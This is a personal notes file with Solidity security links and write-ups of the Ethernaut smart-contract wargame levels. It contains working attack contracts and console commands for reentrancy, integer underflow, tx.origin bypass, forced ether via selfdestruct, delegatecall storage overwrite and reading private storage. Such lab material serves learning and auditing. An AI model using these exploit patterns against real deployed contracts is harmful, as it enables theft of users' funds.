- https://docs.soliditylang.org/en/v0.8.0/cheatsheet.html
- https://tenderly.co/
- https://medium.com/@novablitz/storing-structs-is-costing-you-gas-774da988895e (bits manipulations for storings datas)
- https://docs.ethers.io/v4/api-utils.html#ether-strings-and-wei (units conversions)
- https://github.com/OriginProtocol/security/tree/master/incidents
- https://github.com/crytic/awesome-ethereum-security
- https://github.com/leonardoalt/ethereum_formal_verification_overview
- https://github.com/pouladzade/Seriality
- https://iancoleman.io/bip39/#french
- https://github.com/ConsenSys/surya (solidity inspector)
- https://github.com/crytic/slither (solidity vulnerable code)
- https://mudit.blog/live-stream-auditing-smart-contracts/ (Mudit Gupta, Auditing Smart Contracts)
- https://solidity-by-example.org/
- https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA (solidity adv programmer)
- https://gist.github.com/evaletolab/eecef8b5c4ff2c128846e6be3d43005f (redeem investigation)
- https://gist.github.com/evaletolab/37266ada7c1d0a82eec79aac6c7f94ea (redeem investigation)
- https://github.com/nhatminh12369/etherchat/blob/master/ethereum/EtherChat.sol (e2e encryption chat)
- https://twitter.com/w1nt3r_eth/status/1597998923226177543 (security researchers use to investigate hacks)
- https://jeancvllr.medium.com/solidity-tutorial-all-about-assembly-5acdfefde05c
- Owner is a multi-sig wallet with timelock, where the trust come from?
function withdraw() public isOwner {
uint256 balance = address(this).balance;
payable(owner).transfer(balance);
emit BalanceWithdraw(owner,balance);
}
function destroy() public isOwner {
emit Destructed(owner,address(this).balance);
selfdestruct(payable(owner));
}
function split(bytes sha) constant returns (bytes32 half1, bytes32 half2) {
assembly {
half1 := mload(add(sha,0x20))
half2 := mload(add(sha,0x40))
}
}
function concat(bytes32 b1, bytes32 b2) pure external returns (bytes memory){
bytes memory result = new bytes(64);
assembly {
mstore(add(result, 32), b1)
mstore(add(result, 64), b2)
}
return result;
}
function concat(bytes2 a, bytes2 b) public pure returns (bytes4) {
return (a << 4) | b;
}
function lastNbytes(byte a, uint8 N) public pure returns (bytes1) {
require(2 ** N < 255, “Overflow encountered ! ”);
uint8 lastN = uint8(a) % (2 ** N);
return byte(lastN);
}
function publicKeyToAddress (bytes memory publicKey) public pure returns (bytes20) {
require (publicKey.length == 64);
return bytes20 (uint160 (uint256 (keccak256 (publicKey))));
}
Calculate payout round
Inflation of 3.69% inflation per 364 days (approx 1 year)
dailyInterestRate = exp(log(1 + 3.69%) / 364) - 1
= exp(log(1 + 0.0369) / 364) - 1
= exp(log(1.0369) / 364) - 1
= 0.000099553011616349 (approx)
payout = allocSupply * dailyInterestRate
= allocSupply / (1 / dailyInterestRate)
= allocSupply / (1 / 0.000099553011616349)
= allocSupply / 10044.899534066692 (approx)
= allocSupply * 10000 / 100448995 (* 10000/10000 for int precision)
contract.contribute({value:toWei('0.01')})
sendTransaction({from:player, to:instance, value:toWei('0.001')});
contract.withdraw();
Check contructor name, if it become a function, you can call it directly!
contract.flip(((await web3.eth.getBlock((await getBlockNumber()) )).hash / FACTOR >= 1) ? true: false);
delegate owner with a proxy contract that makes the deal
pragma solidity ^0.6.0;
/**
* Ethernaut v3
*/
abstract contract Telephone {
function changeOwner(address _owner) virtual public;
}
contract ProxyPhone {
address public owner;
Telephone public proxy;
constructor() public {
owner = msg.sender;
proxy = Telephone(address(0xa61f6592F2ef2c75Ebee48D4A764331e7932B232));
}
function hackOwner(address player) public {
proxy.changeOwner(player);
}
}
(await contract.totalSupply()).toString();
==21000000
uint(-1)
==115792089237316195423570985008687907853269984665640564039457584007913129639935
(21000000 - 20) = uint(-X)
- create proxy contract
- credit small amount
a. transfert
sendTransaction({from:player,to:'0xEd843EBa699FeE6C5C7674cb436E8c29B4Ab9eF6',value:toWei('0.01')});
b. transfert tokencontract.transfer('0xEd843EBa699FeE6C5C7674cb436E8c29B4Ab9eF6',1)
c. quick verify(await contract.balanceOf('0xEd843EBa699FeE6C5C7674cb436E8c29B4Ab9eF6')).toString()
- call hackTransfer
- create proxy contract with
fallback
- send our total + 1 =>
contract.transfer('0xEd843EBa699FeE6C5C7674cb436E8c29B4Ab9eF6',21)
- it will create an overflow of
-1
in calc(20 - 21)
,balances[msg.sender] -= _value
- DONE
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0); // 20 - 21 >= 0 (true, overflow!!)
balances[msg.sender] -= _value; // 20 - 21 = MAX.INT (!!HACKED HERE!!)
balances[_to] += _value; //
return true;
}
use of
address(delegateInstance).delegatecall(msg.data)
=> is usefull for proxying contracts, and so, provide an updatable contract system
-
TIPS: Orginal contract always provide an Interface, and
address(delegateInstance).delegatecall
provide the implementation 🚀 -
simply, run a transaction with the method sig as msg.data, and 0 ether
await sendTransaction({from:player,to:instance,value:toWei('0.0'),data:'0xdd365b8b'})
andweb3.utils.keccak256('testCall(string)').substr(0, 10); //0xc7cee1b7
orsolidity -> bytes4(keccak256('enter(bytes8)')
- there is no way to stop an attacker from sending ether to a contract by self destroying
- send eth to the new contract
await sendTransaction({from:player,to:force,value:toWei('0.01')})
- call
selfdestruct
to widthdraw our to a destination (even if destination have no fallback) - use special payable type of address
selfdestruct(payable(destination))
contract Delegation {
constructor() public {
}
function force(address payable _delegateAddress) public payable {
selfdestruct(_delegateAddress);
}
fallback() external payable{
}
}
unlock the contract!
- check if the passord is a value of the contructor (read constructor input)
- read private variable as
await web3.eth.getStorageAt(instance,1)
- convert to string
web3.utils.toAscii(private)
await contract.locked()
It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.
block the contract
- how to block the contract
- the method king.transfer as a gas limit of 2100
- if you transfer fund from an other contrat the fallback() method can overload the basic transfer gas limit
contract BreakKing {
bool locked;
constructor() public{
locked = false;
}
fallback() external payable {
require(locked == false,"locked abort");
// fallback must be lock or more expensive than 2100 limit of transfer call
}
function lock() public{
locked = true;
}
function unlock() public{
locked = false;
}
function breakKing(address payable dest) payable public {
(bool success,) = dest.call.value(1 ether).gas(3000000)("");
require(success,"tx failed");
}
}
- understanding the core
(bool success,) = dest.call.value(1 ether).gas(3000000)("");
is the key
In order to prevent re-entrancy attacks when moving funds out of your contract, use the Checks-Effects-Interactions pattern being aware that call will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used. transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2. Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic. Re-entrancy is a common attack. You should always be prepared for it!
- https://docs.openzeppelin.com/contracts/2.x/api/payment#PullPayment
- https://docs.openzeppelin.com/contracts/2.x/api/utils#ReentrancyGuard
- https://forum.openzeppelin.com/t/reentrancy-after-istanbul/1742
- https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942
abstract contract Reentrance {
function donate(address _to) virtual public payable;
function withdraw(uint _amount) virtual public;
}
contract HackReentrance {
address public dest;
uint _amount;
Reentrance proxy;
constructor() public payable{
dest = address(0xaD32FeEc027ee33ee4E7Ffa100ae8E2499062cfb);
proxy = Reentrance(dest);
_amount=msg.value;
}
fallback() external payable {
if(_amount>0){
proxy.withdraw(_amount);
_amount -= _amount;
}
}
function fund() external{
proxy.donate.value(_amount)(address(this));
}
function withdraw() external{
proxy.withdraw(_amount);
}
}
- be aware on the state!
- You can use the view function modifier on an interface in order to prevent state modifications. The pure modifier also prevents functions from modifying the state.
- An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g. gasleft().
interface Elevator {
function goTo(uint _floor) external;
}
contract Building {
uint top;
Elevator elevator;
constructor() public {
top=0;
elevator = Elevator(address(0x49E0F1dcCfc2C010b836459a69CC77Bc18b7E0A3));
}
function isLastFloor(uint floor) external returns (bool){
top += 1;
return (top > 1);
}
function goTo(uint floor) external {
elevator.goTo(floor);
}
}
-
Memory Slot decoding
- index = keccak256(ENC ElementID . ENC SlotID)
- index = keccak256(uint8 1 . uint128 1)
- https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925
-
access array
function add(hex, index) {
let sum = BigInt(hex)+(index)
return '0x' + sum.toString(16)
}
// 64 padded
// elem[0]
var key="000000000000000000000000000000000000000000000000000000000000000N"
web3.utils.sha3(key)
// elem[n]
var keysha=add(web3.utils.sha3(key),n)
web3.eth.getStorageAt(instance,keysha)
- access map
// 64 padded
// mapping(address => uint) map1;
// mapping(address => uint) map2;
var index="000000000000000000000000000000000000000000000000000000000000000N"
var key="00000000000000000000000xbccc714d56bc0da0fd33d96d2a87b680dd6d0df6"
// map1(key)
keysha=web3.utils.sha3(key + index)
web3.eth.getStorageAt(instance,keysha)
// map1(key)
keysha=add(web3.utils.sha3(key + index));
web3.eth.getStorageAt(instance,keysha)
- decoding private data
//slot0 => bool public locked = true;
//slot1 => uint256 public ID = block.timestamp;
//slot2 => uint8 private flattening = 10;
//slot2 => uint8 private denomination = 255;
//slot2 => uint16 private awkwardness = uint16(now);
//slot3 => bytes32[3] private data;
// web3.eth.getStorageAt(instance,2)
// 0x00000000000000000000000000000000000000000000000000000000,c76c,ff,0a
// web3.eth.getStorageAt(instance,3)
// bytes32[0] => 0x01e91efb850f056169bf55e94748b8b7,2f095859b34cf7f230c501fbe80cf0d0
// web3.eth.getStorageAt(instance,5)
// bytes32[2] => 0xd67d6a491f8b57c054e9516d89a8da1a,572cb3ec97574d06a98361e43b8770ac
//
// bytes16(bytes32[2])
await contract.unlock("0xd67d6a491f8b57c054e9516d89a8da1a")
// testing slot3
web3.eth.getStorageAt(instance,3|4|5)
var key="0000000000000000000000000000000000000000000000000000000000000004";
await web3.eth.getStorageAt(instance,add(web3.utils.sha3(key),0n))
- tx.origin is the root of call, msg.sender could be the contract!!
- gasleft % 8192 => 2896553 (check code bellow, notes on int conversions )
- _gateKey => bytes8 (64 bits) => 0xaabbccddeeff1122
- uint32 : 0xeeff1122 == uint16 : 0x1122
- uint32 : 0xeeff1122 != uint64: 0xaabbccddeeff1122
- uint32 : 0xeeff1122 == uint16(tx.origin)
interface GateProxy {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GateHack {
GateProxy gate;
constructor() public {
gate = GateProxy(address(0x49E0F1dcCfc2C010b836459a69CC77Bc18b7E0A3));
}
function conv1(string memory txt) public view returns (bytes memory, bytes8,bytes16,bytes32) {
bytes memory btxt = bytes(txt);
bytes32 btxt32;
assembly {
btxt32 := mload(add(txt, 32))
}
return (btxt, bytes8(btxt32),bytes16(btxt32),btxt32);
}
function compute(bytes8 key) public view returns (bool,bool,bool,bool,uint256) {
// uint32 => _check
bool _a = msg.sender != tx.origin;
uint256 left = uint256(gasleft() % (8191));
bool _b = uint32(uint64(key)) != uint64(key);
bool _c = uint32(uint64(key)) == uint16(uint64(key));
bool _d = uint32(uint64(key)) == uint16(tx.origin);
return (_a,_b,_c,_d,left);
}
function enter(bytes8 key) external {
bool result = gate.enter(key);
require(result,"Oupps");
}
}
- Notes on conversions : str -> bytes,
* maham
* hex -> 6d6168616d
* bytes32 -> 0000000000000000000000000000000000000000000000000000006d6168616d
* olivier
* bytes: 0x6f6c6976696572
* bytes8: 0x6f6c697669657200
* bytes16: 0x6f6c6976696572000000000000000000
* bytes32: 0x6f6c697669657200000000000000000000000000000000000000000000000000
function conv1(string memory txt) public view returns (bytes memory, bytes8,bytes16,bytes32) {
bytes memory btxt = bytes(txt);
bytes32 btxt32;
assembly {
btxt32 := mload(add(txt, 32))
}
return (btxt, bytes8(btxt32),bytes16(btxt32),btxt32);
}
- Notes on conversions : bytes -> uint,
* bytes8 -> 0xaabbccddeeff1122 (8x8)
* uint64: 12302652060662173986 (-> 0xaabbccddeeff1122)
* uint32: 4009693474 (-> 0xeeff1122)
* uint16: 4386 (-> 0x1122)
function compute(bytes8 key) public view returns (bool,uint64,uint32,uint16,uint16,uint256) {
// uint32 => _check
bool _a = msg.sender != tx.origin;
uint256 left = gasleft() & 8192;
uint64 _b = uint64(key); // != check
uint32 _c = uint32(uint64(key)); // == check
uint16 _d = uint16(uint64(key)); // == check
uint16 _e = uint16(tx.origin); // == check
return (_a,_b,_c,_d,_e,left);
}
- Note sur les méthodes ID
bytes4 sig = bytes4(keccak256('buy()'));
(bool success, bytes memory data) = caller.call(abi.encode(sig));
//
// 1) method id
const methodId = web3.utils.keccak256('testCall(string)').substr(0, 10); //0xc7cee1b7
solidity -> bytes4(keccak256('enter(bytes8)')
//
// 2) with ABI API
* web3.eth.abi.encodeParameter('string', 'Hello')
* web3.eth.abi.encodeWithSignature("testCall(string)", "hello")
//
// 3) in ContractName.json
* in data.methodIdentifiers["method(bytes8)"] => 0cea811b
``` json
"data": {
"bytecode": {
"linkReferences": {},
"object": "...",
"opcodes": "...",
"sourceMap": "..."
},
"deployedBytecode": {
"immutableReferences": {},
"linkReferences": {},
"object": "...",
"opcodes": "...",
"sourceMap": "..."
},
"gasEstimates": {
"creation": {
"codeDepositCost": "153200",
"executionCost": "21063",
"totalCost": "174263"
},
"external": {
"compute(bytes8)": "541",
"enter(bytes8)": "infinite"
}
},
"methodIdentifiers": {
"compute(bytes8)": "0cea811b",
"enter(bytes8)": "3370204e"
}
Thing that must be used to get this level done
- use the remix debug, step by step until you known the remaining GAS
- use the
bytes8 key = bytes8(uint64(tx.origin)) & 0xffffffff0000ffff;
instead of 0xaabbccdd0000ddc4.
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
//
// 0xaabbccdd0000ddc4 (the working is 0x3fcb875f0000ddc4 !!! 0x5B38Da6a701c568545dCfcB0,3FcB875f,56be,ddC4)
contract GatekeeperOneHack {
GatekeeperOne gate;
constructor() public {
}
function setProxy(address proxy) public {
gate = GatekeeperOne(proxy);
}
//
//
// gate.enter("0xaabbccdd0000ddc4") + revert transaction cost (21'512 gas) (operators 248 gas)
// https://rinkeby.etherscan.io/vmtrace?txhash=0x9613d1b268256fe4ad47d6c72a7c68e0af8f4455a51745df2aa4d9dd820b0726
// https://rinkeby.etherscan.io/tx/0x9613d1b268256fe4ad47d6c72a7c68e0af8f4455a51745df2aa4d9dd820b0726
function enter(uint32 _gas) external returns(bytes8) {
bytes8 key = bytes8(uint64(tx.origin)) & 0xffffffff0000ffff;
gate.enter{gas:_gas}(key); //cost (21512 gas) (50 gas) + 2x8191 =
return (key);
}
}
library SafeMath {
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract GatekeeperTwoHack {
//
// test call, callcode, delegatecall, staticcall
// https://docs.soliditylang.org/en/v0.6.0/yul.html?highlight=extcodesize#low-level-functions
// call()
// input != sender && extcodesize(caller()) > 0
// delegatecall()
// input == sender && extcodesize(caller()) == 0
// in constructor extcodesize == 0
// input != sender && extcodesize(caller()) == 0
// note: gate.enter(bytes8(key)) is OK
constructor() public {
uint64 key = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ 0xffffffffffffffff;
bytes memory sig = abi.encodeWithSignature("enter(bytes8)", bytes8(key));
address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8).call(sig);
}
}
** Secret here is the missing modifier lockTokens
with the call of non protected transferFrom
method**
(await contract.balanceOf(player)).toString()
=>"1000000000000000000000000"
await contract.approve(player,"1000000000000000000000000")
await contract.transferFrom(player,instance,"1000000000000000000000000")
the danger with delegatecall(...)
it update caller local variable in the relative slot position of called contract.
contract LibraryHack {
address public timeZone1Library; // slot0
address public timeZone2Library; // slot1
address public owner; // slot2
function setTime(uint _time) public {
owner=msg.sender; // update slot2
}
}
Contract addresses are deterministic and are calculated by keccack256(address, nonce) where the address is the address of the contract (or ethereum address that created the transaction) and nonce is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).
Because of this, one can send ether to a pre-determined address (which has no private key) and later create a contract at that address which recovers the ether. This is a non-intuitive and somewhat secretive way to (dangerously) store ether without holding a private key.
Open contract internal transactions, get the one that create child contract
- https://rinkeby.etherscan.io/address/0xE24b235575AA171Ecdd4C987A1Fa836a408301F6#internaltx
- https://rinkeby.etherscan.io/address/0x42733753020937a053645e188ec08257b423bfc4#code
var method = web3.eth.abi.encodeFunctionCall({
name: 'destroy',
type: 'function',
inputs: [{
type: 'address',
name: '_to'
}]
}, [player]);
await sendTransaction({from:player, to:child,value:toWei('0.0'),data:method});
Learn to code EVM bytecodes
- useful disassembler https://ethervm.io/decompile
- useful article https://arvanaghi.com/blog/reversing-ethereum-smart-contracts/
- with remix get opcodes from
uint8 public whatIsTheMeaningOfLife = 42;
- with remix get opcodes from
function whatIsTheMeaningOfLife() external pure returns(uint)
- Bytecode for Creation, Runtime, Deployed
uint8 public whatIsTheMeaningOfLife = 42;
60806040526000805460ff1916602a179055348015601c57600080fd5b5060888061002b6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063650500c114602d575b600080fd5b60336049565b6040805160ff9092168252519081900360200190f35b60005460ff168156fea26469706673582212201484749ca770025169e429775a85a3ec86dcddbc1746024c6e7cb50a705a35cf64736f6c634300060c0033
function whatIsTheMeaningOfLife()
6080604052348015600f57600080fd5b506004361060285760003560e01c8063650500c114602d575b600080fd5b60336045565b60408051918252519081900360200190f35b602a9056fea26469706673582212204adf78e648515838968dca5eb82beb8aac9cce6333306e4d74ea075f70f980bd64736f6c634300060c0033
- deploy
602a60405260206040F3
- corrected
602a60005260206000f3
- https://rinkeby.etherscan.io/address/0x9e4e3fb074546745cf4515247e55578ff1066372
- guide https://hackmd.io/@e18r/r1yM3rCCd
------------------
function main() {
memory[0x00:0x20] = 0x2a;
return memory[0x00:0x20];
}
60 PUSH1 0x2a
60 PUSH1 0x00
52 MSTORE
60 PUSH1 0x00
60 PUSH1 0x20
F3 *RETURN
var abi =[{
"inputs": [],
"name": "whatIsTheMeaningOfLife",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "pure",
"type": "function"
}]
var magic = new web3.eth.Contract(abi);
var magictx = magic.deploy({data: '602a60005260206000f3'}).send({from:player,gas:300000,gasPrice: '300000000000'});
--------------
function main() {
memory[0x40:0x60] = 0x80;
var var0 = 0x2a;
return memory[0x40:0x40 + var0];
}
60 PUSH1 0x80
60 PUSH1 0x40
52 MSTORE
60 PUSH1 0x40
60 PUSH1 0x2a
80 DUP1
91 SWAP1
F3 *RETURN
60806040526040602a80F3
- bonne idée, mais la limite ici est le coût trop élevé des opérations
sstore
etsload
interface ShopHack {
function buy() external;
}
contract Buyer {
constructor() public {
assembly {
sstore(0x40,142)
}
}
// examples
// - https://gist.github.com/Agusx1211/e2f6743d8886c784843de5e95b99da78
// - https://docs.soliditylang.org/en/v0.5.5/assembly.html#opcodes
function price() external returns (uint) {
assembly {
let tot := sload(0x40)
sstore(0x40, sub(tot, 50))
mstore(0x0, tot)
return(0x0, 32)
}
}
function hack(address caller) external {
bytes4 sig = bytes4(keccak256('buy()'));
(bool success, bytes memory data) = caller.call(abi.encode(sig));
//ShopHack(caller).buy();
}
}
- dans la première solution, l'erreur a été d'enregistrer l'état (premier passage positif et les suivants)
- alors que cet état peut être déterminé par le contrat source
Shop
avec la variable isSold qui change entre les deux call de la fonction price() :rocket
if (_buyer.price.gas(3300)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3300)();
}
Ce qui donne,
// examples
// - https://gist.github.com/Agusx1211/e2f6743d8886c784843de5e95b99da78
// - https://docs.soliditylang.org/en/v0.5.5/assembly.html#opcodes
function price() external returns (uint) {
bool sold = Shop(msg.sender).isSold();
assembly {
if sold {
mstore(0x0, 1)
return(0x0, 32)
}
mstore(0x0, 200)
return(0x0, 32)
}
}